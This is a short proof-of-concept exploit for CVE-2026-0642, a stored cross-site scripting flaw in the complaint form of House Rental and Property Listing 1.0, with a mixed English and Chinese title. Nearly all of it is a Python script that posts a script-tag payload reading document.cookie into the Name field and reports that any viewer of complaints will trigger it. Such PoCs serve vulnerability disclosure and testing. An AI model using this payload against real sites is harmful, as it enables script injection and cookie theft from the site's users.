CVE-2026-0642: projectworlds House Rental Property Listing 1.0 complaint.php XSS漏洞

# CVE-2026-0642 PoC - Stored XSS in /app/complaint.php Name parameter # This PoC demonstrates the XSS vulnerability in House Rental and Property Listing 1.0 import requests import sys target_url = "http://target-server/app/complaint.php" # Malicious JavaScript payload xss_payload = '<script>alert(document.cookie)</script>' def exploit_xss(): """ Send malicious XSS payload via Name parameter in complaint form """ # Prepare the complaint form data data = { 'Name': xss_payload, 'complaint': 'Test complaint message', 'submit': 'Submit' } try: # Send POST request with XSS payload response = requests.post(target_url, data=data, timeout=10) if response.status_code == 200: print("[+] XSS payload sent successfully") print("[*] Payload stored in database") print("[*] Any user viewing complaints will trigger the XSS") return True else: print("[-] Failed to send payload") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("CVE-2026-0642 XSS PoC") print("Target: House Rental and Property Listing 1.0") print(f"URL: {target_url}") exploit_xss()